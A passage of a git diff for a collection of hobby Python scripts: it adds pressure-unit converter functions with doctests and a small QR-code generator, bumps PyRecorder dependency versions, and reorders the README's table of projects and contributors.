>>> milimeter_mercury_to_bars(4970.5, "mmHg") + 6.626803189078208 + >>> milimeter_mercury_to_bars("378", "mmHg") + 0.503959683225342 + >>> milimeter_mercury_to_bars(0, "mmHg") + 0.0 + >>> milimeter_mercury_to_bars(3, "bar") + 'Invalid unit' + >>> milimeter_mercury_to_bars("brs", "mmHg") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'brs' + """ + if unit == "mmHg": + bar = float(mm_hg) / round(760 / 1.01325, 2) + return bar + else: + return "Invalid unit" + + +def bars_to_pascals(bar: float, unit: str) -> Union[float, str]: + """ + This function converts bar to Pa + Wikipedia reference: https://en.wikipedia.org/wiki/Bar_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Pascal_(unit) + + >>> bars_to_pascals(0.653, "bar") + 65300.0 + >>> bars_to_pascals("1.2", "bar") + 120000.0 + >>> bars_to_pascals(0, "bar") + 0.0 + >>> bars_to_pascals(3.1, "Pa") + 'Invalid unit' + >>> bars_to_pascals("bP", "bar") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'bP' + """ + if unit == "bar": + pa = float(bar) * 100000 + return pa + else: + return "Invalid unit" + + +def pascals_to_bars(pa: float, unit: str) -> Union[float, str]: + """ + This function converts Pa to bar + Wikipedia reference: https://en.wikipedia.org/wiki/Bar_(unit) + Wikipedia reference: https://en.wikipedia.org/wiki/Pascal_(unit) + + >>> pascals_to_bars(45000, "Pa") + 0.45 + >>> pascals_to_bars("1200000", "Pa") + 12.0 + >>> pascals_to_bars(0, "Pa") + 0.0 + >>> pascals_to_bars(3.1, "mmHg") + 'Invalid unit' + >>> pascals_to_bars("pass", "Pa") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'pass' + """ + if unit == "Pa": + bar = float(pa) / 100000 + return bar + else: + return "Invalid unit" + + +def milimeter_mercury_to_pascals(mm_hg: float, unit: str) -> Union[float, str]: + """ + This function converts mmHg to Pa + Wikipedia reference: https://en.wikipedia.org/wiki/Millimetre_of_mercury + Wikipedia reference: https://en.wikipedia.org/wiki/Pascal_(unit) + + >>> milimeter_mercury_to_pascals(25, "mmHg") + 3333.0 + >>> milimeter_mercury_to_pascals("652", "mmHg") + 86924.64 + >>> milimeter_mercury_to_pascals(0, "mmHg") + 0.0 + >>> milimeter_mercury_to_pascals(342.1, "bar") + 'Invalid unit' + >>> milimeter_mercury_to_pascals("mercurium", "mmHg") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'mercurium' + """ + if unit == "mmHg": + pa = float(mm_hg) * round(101325 / 760, 2) + return pa + else: + return "Invalid unit" + + +def pascals_to_milimeter_mercury(pa: float, unit: str) -> Union[float, str]: + """ + This function converts Pa to mmHg + Wikipedia reference: https://en.wikipedia.org/wiki/Millimetre_of_mercury + Wikipedia reference: https://en.wikipedia.org/wiki/Pascal_(unit) + + >>> pascals_to_milimeter_mercury(153000, "Pa") + 1147.6147614761476 + >>> pascals_to_milimeter_mercury("97650.8", "Pa") + 732.4542454245425 + >>> pascals_to_milimeter_mercury(0, "Pa") + 0.0 + >>> pascals_to_milimeter_mercury(342.1, "mmhg") + 'Invalid unit' + >>> pascals_to_milimeter_mercury("merc", "Pa") + Traceback (most recent call last): + ... + ValueError: could not convert string to float: 'merc' + """ + if unit == "Pa": + mm_hg = float(pa) / round(101325 / 760, 2) + return mm_hg + else: + return "Invalid unit" + + +if __name__ == "__main__": + import doctest + + doctest.testmod() diff --git a/Pressure_Converter/requirements.txt b/Pressure_Converter/requirements.txt new file mode 100644 index 00000000..79086729 --- /dev/null +++ b/Pressure_Converter/requirements.txt @@ -0,0 +1 @@ +doctest \ No newline at end of file diff --git a/PyRecorder/requirements.txt b/PyRecorder/requirements.txt index 51ab86f6..ef5a205a 100644 --- a/PyRecorder/requirements.txt +++ b/PyRecorder/requirements.txt @@ -1,3 +1,3 @@ -numpy==1.17.3 +numpy==1.22.0 opencv-python==4.1.1.26 -Pillow==6.2.0 +Pillow==10.2.0 diff --git a/QR-code-generator/QR-generator.py b/QR-code-generator/QR-generator.py new file mode 100644 index 00000000..a6991819 --- /dev/null +++ b/QR-code-generator/QR-generator.py @@ -0,0 +1,10 @@ +import qrcode as QR + +def create(content, filename): + img = QR.make(content) + img.save(filename) + return f"here is you file saved at {filename}" + +result = create("Pass any info here", "company.png")#info, filename +print(result) + diff --git a/QR-code-generator/README.md b/QR-code-generator/README.md new file mode 100644 index 00000000..e1667d22 --- /dev/null +++ b/QR-code-generator/README.md @@ -0,0 +1,22 @@ +# 📱 QR Code Generator + +A simple Python script to generate QR codes from any text, URL, or data string. Saves the QR code as an image file for easy sharing or embedding. + +--- + +## 🚀 Features + +- ✅ Generate QR codes from any content (text, URL, contact info, etc.) +- 🖼️ Save output as PNG or JPEG +- 🧩 Minimal dependencies +- 🐍 Built with Python and `qrcode` library + +--- + +## 🧪 Requirements + +Install the required library using pip: + +```bash +pip install qrcode + diff --git a/README.md b/README.md index 78ab79f4..0ec52354 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,19 @@ -# Awesome Python Scripts :sunglasses: PyPI [![HitCount](http://hits.dwyl.io/hastagAB/Awesome-Python-Scripts.svg)](http://hits.dwyl.io/hastagAB/Awesome-Python-Scripts) ![GitHub stars](https://img.shields.io/github/stars/hastagAB/Awesome-Python-Scripts?style=social) +# Awesome Python Scripts :snake: + +PyPI [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/hastagAB/Awesome-Python-Scripts) ![GitHub stars](https://img.shields.io/github/stars/hastagAB/Awesome-Python-Scripts?style=social) + + +## Contents: + +- [Awesome Python Scripts :sunglasses: ](#awesome-python-scripts-sunglasses----) + - [Contents:](#contents) + - [What is this repo?](#what-is-this-repo) + - [What do we have:](#what-do-we-have) + - [How to use:](#how-to-use) + - [Contribution Guidelines:](#contribution-guidelines) + - [Steps required to follow before adding any script](#steps-required-to-follow-before-adding-any-script) +- [If you like the project:](#if-you-like-the-project) +- [Want to connect with me?](#want-to-connect-with-me) ## What is this repo? This repo is a compilation of some *awesome* Python scripts that automate some boring tasks or simply make our life easier...or both! @@ -6,167 +21,149 @@ This repo is a compilation of some *awesome* Python scripts that automate some b :cookie: Cookies for all contributors as well~ ## What do we have: - So far, the following projects have been integrated to this repo: | Project Name | Contributors | |--|--| -| [sudoku-solver](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/sudoku-solver) | [Rishabh Umrao](https://github.com/ayedaemon) | -|[File Encrypt Decrypt](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/file-encrypt-decrypt)|[Aditya Arakeri](https://github.com/adityaarakeri)| -| [Address locator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Location_Of_Adress) | [Chris]() | -| [Automated emails](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/automated_email) | [Suvigya](https://github.com/SuvigyaJain1) | -|[AI chatbot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Artificial-intelligence_bot) |[umar abdullahi](https://github.com/umarbrowser) | -|[Asymmetric Encryption](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/asymmetric_cryptography) |[victor matheus](https://github.com/victormatheusc) | -|[Bitcoin price GUI](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Bitcoin-Price-GUI) |[Amirul Abu](https://github.com/amirulabu) | -|[Cryptocurrency Converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Cryptocurrency-converter) |[AdnCodz](https://github.com/AdnCodez) | -|[Caesar Cipher](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/caeser_cipher) |[epi052](https://github.com/epi052) | -|[Checksum tool](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Checksum) |[Austin Ewens](https://github.com/aewens) | -|[Codechef autosubmitter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Codechef-Code-Submitter) |[Harshit Mahajan](https://github.com/hmahajan99) | -|[Colored B&W Image Converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Color_to_BW_Converter) |[Nitish Srivastava](https://github.com/nitish-iiitd) | -|[Contact 'Leads' Distribution](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Contact-Distribution) |[Tiago Cordeiro](https://github.com/tiagocordeiro) | -|[Cricket Matches web Scraper](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/CricBuzz_Score_Update) |[Divy Ranjan](https://github.com/divyranjan17) | -| [Crypt socket](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Crypt_Socket)|[Willian GL](https://github.com/williangl) | -|[Current City Weather](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Current_City_Weather) |[Jesse Bridge](https://github.com/jessebridge) | -|[Directory organizer](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Directory-organizer) | [Athul P](https://github.com/athulpn) | -|[DOH DIG](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/DOH-Dig/) | [Ryan](https://github.com/awsumco) | -|[English Theasaurus](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/English_Theasaurus/) | [Ansh Dhingra](https://github.com/anshdhinhgra47) | -|[Excel Files Merger](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Excel_Files_Merger) | [Andrei N](https://github.com/Andrei-Niculae)| -|[Excel to List](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Excel_to_ListofList) | [Nitish Srivastava](https://github.com/nitish-iiitd)| -|[Extended_ip_address_info](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/extended_ip_address_info) | [hafpaf](https://github.com/hafpaf)| -|[File explorer](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/File-Explorer-Dialog-Box) | [Nikhil Kumar Singh](https://github.com/nikhilkumarsingh)| -|[File Sharing Bot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/File-Sharing-Bot) | [Darshan Patel](https://github.com/DarshanPatel11)| -|[Flash card quizzer](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Flash-card-Challenge) |[Utkarsh Sharma](https://github.com/Utkarsh1308) | -|[Frammed text generator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/FramedText) | [jcdwalle](https://github.com/jcdwalle)| -|[git_automation](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/git_automation)| [loge1998](https://github.com/loge1998)| -|[Gmail Mailing Script](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/mailing) |[mayank-kapur](https://github.com/kapurm17) | -|[Handwrting DNN recognizer](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Handwriting_Recognizer) |[Chris]() | -|[HTML Table to List](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/HTML_Table_to_List) | [Nitish Srivastava](https://github.com/nitish-iiitd)| -|[Image circle formatter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Image-Circulator) |[Berk Gureken](https://github.com/bureken) | -|[Image To PDF](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/images2pdf)|[msaoudallah](https://github.com/msaoudallah)| -|[Instadp Web Scrapper](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/InstadpShower)|[Psychiquest](https://github.com/psychiquest)| -|[Keylogger](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Keylogger) |[Preet Mishra](https://github.com/preetmishra) | -|[Minecraft Server in background](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Minecraft_server_in_background)|[Max von Forell](https://github.com/mvforell)| -|[Own IP locator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Location_Of_Own_IP_Adress)|[Chris]()| -|[Port Scanner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Port_Scanner)|[Plutoberth](https://github.com/Plutoberth)| -|[Python Algebra Solver](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Algebra-Solver)|[Sengxay Xayachack](https://github.com/frankxayachack)| -|[Random name generator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Random_Names_Generator)| [Ayush Bhardwaj](https://github.com/hastagAB)| -|[Random Password Generators](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Random_Password_Generator)| [Hafpaf](https://github.com/hafpaf) and [Renderer-RCT2](https://github.com/Renderer-RCT2)| -|[Server Ping](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Ping_Server)|[prince]()| -|[Signature photo to PNG converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/signature2png)|[Rodolfo Ferro](https://github.com/RodolfoFerro)| -|[Simple Webpage Parser](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/SimpleWebpageParser)|[Nitish Srivastava](https://github.com/nitish-iiitd)| -|[Slideshare downloader](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Slideshare-Downloader)|[Chris Goes](https://github.com/GhostofGoes)| -|[SMS your location](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/SmsYourLocation)|[prince]()| -|[Squid installer for Ubuntu](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Squid-Proxy-Installer-for-Ubuntu16)|[Berkay Demir]()| -|[Subtitle downloader](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Subtitle-downloader)|[Kaushlendra Pratap](https://github.com/kaushl1998)| -|[Top_News](Top_News)|[Attupatil](https://github.com/Attupatil)| -|[Take Screenshot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Take_screenshot)|[Moad Mohammed Elhebri](https://github.com/moadmmh)| -|[To Do Bot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/To-Do-Bot) | [Darshan Patel](https://github.com/DarshanPatel11)| -|[Upload Files to S3](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Upload_files_to_s3)|[Jayram Nai](https://github.com/jramnai)| -|[Vinegère Cipher](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/vigenere_cipher)|[victoni](https://github.com/victoni)| -|[Web proxy](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Proxy-Request)|[Nikhil Kumar Singh](https://github.com/nikhilkumarsingh)| -|[Website blocker](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Website-Blocker)|[Ayush Bhardwaj](https://github.com/hastagAB)| -|[Word generator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Word-generator)|[TGLIDE](https://github.com/TGlide)| -|[Work log generator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Work_Log_Generator)|[Maël Pedretti](https://github.com/73VW)| -|[Youtube video downloader](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Youtube_Video_Downloader)|[Christopher He](https://github.com/hecris)| -|[Zabbix API](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/zabbix_api)|[msg4sunny](https://github.com/msg4sunny)| -|[Zip password cracker](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/zip_password_cracker)|[umar abdullahi](https://github.com/umarbrowser)| -|[RSA Algorithm](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/RSA_Algorithm)|[Chinmay Rane](https://github.com/Chinmayrane16) -|[CLI Calculator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/cli_calculator)|[Willian GL](https://github.com/williangl) | -|[Find PhoneNumber in String](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Find-PhoneNumber-in-String)|[Austin Zuniga](https://github.com/AustinZuniga)| -|[IMDB TV Series Info Extractor](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/imdb_episode_ratings)|[Yash Raj Sarrof](https://github.com/yashYRS) | -|[PX to REM](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/PX-to-REM)|[Atthaphon Urairat](https://github.com/uatthaphon) | -|[Yoda-speak Translator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/speak_like_yoda)|[sonniki](https://github.com/sonniki) | -|[SSH Host adder](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/SSH_Host_Adder)|[NinoDoko](https://github.com/NinoDoko)| -|[Wikipedia-Search](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Wikipedia-Search)|[Nissaar](https://github.com/Nissaar) | -|[Instagram Video Downloader](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/insta_video_downloader)|[Shobhit Bhosure](https://github.com/shobhit99) | -|[Medium Article Downloader](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/medium_article_downloader)|[coolsonu39](https://github.com/coolsonu39)| -|[Face Recognition](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/image_recognition)|[LOKESH KHURANA](https://github.com/theluvvkhurana)| -|[File Encrypt Decrypt](file-encrypt-decrypt)|[Aditya Arakeri](https://github.com/adityaarakeri)| -| [Address locator](Location_Of_Adress) | [Chris]() | -| [Automated emails](automated_email) | [Suvigya](https://github.com/SuvigyaJain1) | -|[AI chatbot](Artificial-intelligence_bot) |[umar abdullahi](https://github.com/umarbrowser) | -|[Asymmetric Encryption](asymmetric_cryptography) |[victor matheus](https://github.com/victormatheusc) | -|[Bitcoin price GUI](Bitcoin-Price-GUI) |[Amirul Abu](https://github.com/amirulabu) | -|[Cryptocurrency Converter](Cryptocurrency-converter) |[AdnCodz](https://github.com/AdnCodez) | -|[Caesar Cipher](caeser_cipher) |[epi052](https://github.com/epi052) | -|[Checksum tool](Checksum) |[Austin Ewens](https://github.com/aewens) | -|[Codechef autosubmitter](Codechef-Code-Submitter) |[Harshit Mahajan](https://github.com/hmahajan99) | -|[Colored B&W Image Converter](Color_to_BW_Converter) |[Nitish Srivastava](https://github.com/nitish-iiitd) | -|[Contact 'Leads' Distribution](Contact-Distribution) |[Tiago Cordeiro](https://github.com/tiagocordeiro) | +|[2048](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/2048)|[Krunal](https://github.com/gitkp11)| +|[AI chatbot](Artificial-intelligence_bot) |[umar abdullahi](https://github.com/umarbrowser) | +|[AI for guess the number](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/AI_for_Guess_the_number) | [Omar Sameh](https://github.com/ShadowHunter15) | +|[Address locator](Location_Of_Adress) | [Chris]() | +|[Asymmetric Encryption](asymmetric_cryptography) |[victor matheus](https://github.com/victormatheusc) | +|[Attachment Unique Mail](Attachment_Unique_Mail) |[Arnav Dandekar](https://github.com/4rnv) | +|[Automated calendar](automated_calendar) | [J.A. Hernández](https://github.com/jesusalberto18) | +|[Automated emails](automated_email) | [Suvigya](https://github.com/SuvigyaJain1) | +|[Battery_notification](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Battery_notification/)|[Krishna Sharma](https://github.com/krishnasharma1386)| +|[Better_CSV_Storage](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Better_CSV_Storage) | [Bhargav Kuvadiya](https://github.com/techdobz) | +|[Bitcoin price GUI](Bitcoin-Price-GUI) |[Amirul Abu](https://github.com/amirulabu) | +|[CLI Calculator](cli_calculator)|[Willian GL](https://github.com/williangl) | +|[COVID visualiser (real-time) ](covid_visualiser)|[Tushar Gupta](https://github.com/tushar5526)| +|[CSV to Excel](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/CSV-to-Excel)|[xemeds](https://github.com/xemeds) | +|[Caesar Cipher](caesar_cipher) |[epi052](https://github.com/epi052) | +|[Checksum tool](Checksum) |[Austin Ewens](https://github.com/aewens) | +|[Clean_up_photo](Clean_up_photo_directory)|[sritanmay001](https://github.com/sritanmy001)| +|[Codechef autosubmitter](Codechef-Code-Submitter) |[Harshit Mahajan](https://github.com/hmahajan99) | +|[Codeforces Checker](codeforcesChecker)|[Jinesh Parakh](https://github.com/jineshparakh)| +|[Colored B&W Image Converter](Color_to_BW_Converter) |[Nitish Srivastava](https://github.com/nitish-iiitd) | +|[Contact 'Leads' Distribution](Contact-Distribution) |[Tiago Cordeiro](https://github.com/tiagocordeiro) | +|[Countdown](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Countdown)|[Jeremias Gomes](https://github.com/j3r3mias)| +|[csv_to_json](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/csv_to_json)|[MoiZ](https://github.com/TechBoyy6)| |[Cricket Matches web Scraper](CricBuzz_Score_Update) |[Divy Ranjan](https://github.com/divyranjan17) | -| [Crypt socket](Crypt_Socket)|[Willian GL](https://github.com/williangl) | -|[Current City Weather](Current_City_Weather) |[Jesse Bridge](https://github.com/jessebridge) | -|[Directory organizer](Directory-organizer) | [Athul P](https://github.com/athulpn) | -|[DOH DIG](DOH-Dig/) | [Ryan](https://github.com/awsumco) | -|[Excel Files Merger](Excel_Files_Merger) | [Andrei N](https://github.com/Andrei-Niculae)| -|[Excel to List](Excel_to_ListofList) | [Nitish Srivastava](https://github.com/nitish-iiitd)| +|[Crypt socket](Crypt_Socket)|[Willian GL](https://github.com/williangl) | +|[Cryptocurrency Converter](Cryptocurrency-converter) |[AdnCodz](https://github.com/AdnCodez) | +|[Cryptocurrency Prices](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Cryptocurrency-Prices) |[xemeds](https://github.com/xemeds) | +|[Current City Weather](Current_City_Weather) |[Jesse Bridge](https://github.com/jessebridge) | +|[DOH DIG](DOH-Dig/) | [Ryan](https://github.com/awsumco) | +|[Database-As-Storage](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Database-As-Storage) | [Bhargav Kuvadiya](https://github.com/techdobz) | +|[Directory Tree Visualizer](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Directory_Tree_Generator) | [Harpreet Singh Saluja](https://github.com/hssaluja25/) | +|[Directory organizer](Directory-organizer) | [Athul P](https://github.com/athulpn) | +|[Download Page as PDF](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Download-page-as-pdf)|[Jeremias Gomes](https://github.com/j3r3mias)| +|[Elasticsearch snapshot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/elastic-snapshot) | [Joe Ryan](https://github.com/joeryan) | +|[English Theasaurus](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/English_Theasauras/) | [Ansh Dhingra](https://github.com/anshdhinhgra47) | +|[Excel Files Merger](Excel_Files_Merger) | [Andrei N](https://github.com/Andrei-Niculae)| +|[Excel to List](Excel_to_ListofList) | [Nitish Srivastava](https://github.com/nitish-iiitd)| |[Extended_ip_address_info](extended_ip_address_info) | [hafpaf](https://github.com/hafpaf)| -|[Fibonacci_Sequence_Generator](Fibonacci_Sequence_Generator) | [John Wesley Kommala](https://github.com/JohnWesleyK)| -|[File explorer](File-Explorer-Dialog-Box) | [Nikhil Kumar Singh](https://github.com/nikhilkumarsingh)| -|[File Sharing Bot](File-Sharing-Bot) | [Darshan Patel](https://github.com/DarshanPatel11)| +|[Face Recognition](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Face_recognition)|[LOKESH KHURANA](https://github.com/theluvvkhurana)| +|[Fibonacci_Sequence_Generator](Fibonacci_Sequence_Generator) | [John Wesley Kommala](https://github.com/JohnWesleyK)| +|[File Carving](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/File_Carving) | [Yeryeong Kim](https://github.com/icarusicarus/) | +|[File Encrypt Decrypt](file-encrypt-decrypt)|[Aditya Arakeri](https://github.com/adityaarakeri)| +|[FileMagic Organizer](./FileMagic_Organizer)|[malivinayak](https://github.com/malivinayak)| +|[File Organizer](File-Organizer)|[Ayush Bhardwaj](https://github.com/hastagAB)| +|[File Sharing Bot](File-Sharing-Bot) | [Darshan Patel](https://github.com/DarshanPatel11)| +|[File explorer](File-Explorer-Dialog-Box) | [Nikhil Kumar Singh](https://github.com/nikhilkumarsingh)| +|[Find PhoneNumber in String](Find-PhoneNumber-in-String)|[Austin Zuniga](https://github.com/AustinZuniga)| |[Flash card quizzer](Flash-card-Challenge) |[Utkarsh Sharma](https://github.com/Utkarsh1308) | -|[Frammed text generator](FramedText) | [jcdwalle](https://github.com/jcdwalle)| -|[Gmail Mailing Script](mailing) |[mayank-kapur](https://github.com/kapurm17) | +|[Folder Locker and hider](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Folder%20Locker%20%26%20Hider)|[Prajjwal Pathak](https://github.com/pyguru123)| +|[Folder Manager](Folder_Manager)|[Harsh Raj](https://github.com/DeadProgrammer0)| +|[Frammed text generator](FramedText) | [jcdwalle](https://github.com/jcdwalle)| +|[Get Time By TimeZone](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Get_Time_TimezoneWise)|[Parth Shah](https://github.com/codingis4noobs) | +|[git_automation](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/git_automation)| [loge1998](https://github.com/loge1998)| +|[Github repo creator](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Git_repo_creator)|[Harish Tiwari ](https://github.com/optimist2309)| +|[Github Review Bot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Github-Review-Bot)|[Gaurav Giri](https://github.com/gaurovgiri)| +|[GithubBot](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Github_Bot)|[Abhilasha](https://github.com/Abhilasha06)| +|[Gmail Mailing Script](mailing) |[mayank-kapur](https://github.com/kapurm17) | +|[Google Meet Joiner](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/google_meet_joiner)|[JohanSanSebastian](https://github.com/JohanSanSebastian)| +|[HTML Table to List](HTML_Table_to_List) | [Nitish Srivastava](https://github.com/nitish-iiitd)| |[Handwrting DNN recognizer](Handwriting_Recognizer) |[Chris]() | -|[HTML Table to List](HTML_Table_to_List) | [Nitish Srivastava](https://github.com/nitish-iiitd)| -|[Image circle formatter](Image-Circulator) |[Berk Gureken](https://github.com/bureken) | -|[Image To PDF](images2pdf)|[msaoudallah](https://github.com/msaoudallah)| -|[Instadp Web Scrapper](InstadpShower)|[Psychiquest](https://github.com/psychiquest)| -|[Keylogger](Keylogger) |[Preet Mishra](https://github.com/preetmishra) | -|[Minecraft Server in background](Minecraft_server_in_background)|[Max von Forell](https://github.com/mvforell)| -|[Own IP locator](Location_Of_Own_IP_Adress)|[Chris]()| -|[Port Scanner](Port_Scanner)|[Plutoberth](https://github.com/Plutoberth)| -|[Python Algebra Solver](Algebra-Solver)|[Sengxay Xayachack](https://github.com/frankxayachack)| -|[Random name generator](Random_Names_Generator)| [Ayush Bhardwaj](https://github.com/hastagAB)| -|[Random Password Generators](Random_Password_Generator)| [Hafpaf](https://github.com/hafpaf) and [Renderer-RCT2](https://github.com/Renderer-RCT2)| -|[Server Ping](Ping_Server)|[prince]()| -|[Signature photo to PNG converter](signature2png)|[Rodolfo Ferro](https://github.com/RodolfoFerro)| -|[Simple Webpage Parser](SimpleWebpageParser)|[Nitish Srivastava](https://github.com/nitish-iiitd)| -|[Slideshare downloader](Slideshare-Downloader)|[Chris Goes](https://github.com/GhostofGoes)| +|[Harry Potter Cloak](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Harry-Potter-Cloak) | [thesmartdeveloperr](https://github.com/thesmartdeveloperr)| +|[IMDB TV Series Info Extractor](imdb_episode_ratings)|[Yash Raj Sarrof](https://github.com/yashYRS) | +|[IMDBQuerier](IMDBQuerier)|[Burak Bekci](https://github.com/Bekci)| +|[IP Address ](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/ipaddress)|[Xenium](https://github.com/xeniumcode)| +|[Image Compressor](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Image_Compressor)|[Prathima Kadari](https://github.com/prathimacode-hub)| +|[Image To PDF](images2pdf)|[msaoudallah](https://github.com/msaoudallah)| +|[Image Watermarker (batch)](imageWatermarker)|[Remco Halman](https://github.com/remcohalman)| +|[Image circle formatter](Image-Circulator) |[Berk Gureken](https://github.com/bureken) | +|[Independent RSA Communication Algorithm](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/RSA_Communication)|[Miguel Santos](https://github.com/wi6n3l)| +|[Instadp Web Scrapper](InstadpShower)|[Psychiquest](https://github.com/psychiquest)| +|[Instagram Video Downloader](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/insta_video_downloader)|[Shobhit Bhosure](https://github.com/shobhit99) | +|[JSON file to YAML convertor](https://github.com/saksham117/Awesome-Python-Scripts/tree/master/json-to-yaml)|[Saksham Basandrai](https://github.com/saksham117)| +|[Keylogger](Keylogger) |[Preet Mishra](https://github.com/preetmishra) | +|[Medium Article Downloader](medium_article_downloader)|[coolsonu39](https://github.com/coolsonu39)| +|[Minecraft Server in background](Minecraft_server_in_background)|[Max von Forell](https://github.com/mvforell)| +|[Own IP locator](Location_Of_Own_IP_Adress)|[Chris]()| +|[PDF2text](PDF2text)|[QuangPH](https://github.com/quangph-1686a)| +|[PDFsplitter](PDFsplitter)|[Prathamesh-Ghatole](https://github.com/Prathamesh-Ghatole)| +|[PX to REM](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/PX-to-REM)|[Atthaphon Urairat](https://github.com/uatthaphon) | +|[Pdf to AudioBook Converter](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/PdfToAudio)|[Ayesha Gull](https://github.com/ayeshag7/)| +|[Plagiarism_detector](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/Plagiarism_detector)|[Akshita Singhal](https://github.com/akshitasinghal4444)| +|[Port Scanner](Port_Scanner)|[Plutoberth](https://github.com/Plutoberth)| +|[Pressure_Converter](https://github.com/E-wave112/Awesome-Python-Scripts/tree/master/Pressure_Converter)|[E-Wave](https://github.com/E-wave112)| +|[Pretty CSV](Pretty-CSV)|[Frizz925](https://github.com/Frizz925)| +|[PyRecorder](PyRecorder)|[Rocky Jain](https://github.com/jainrocky)| +|[py_based_music_player](https://github.com/hastagAB/Awesome-Python-Scripts/tree/master/py_based_music_player) | [Bhargav 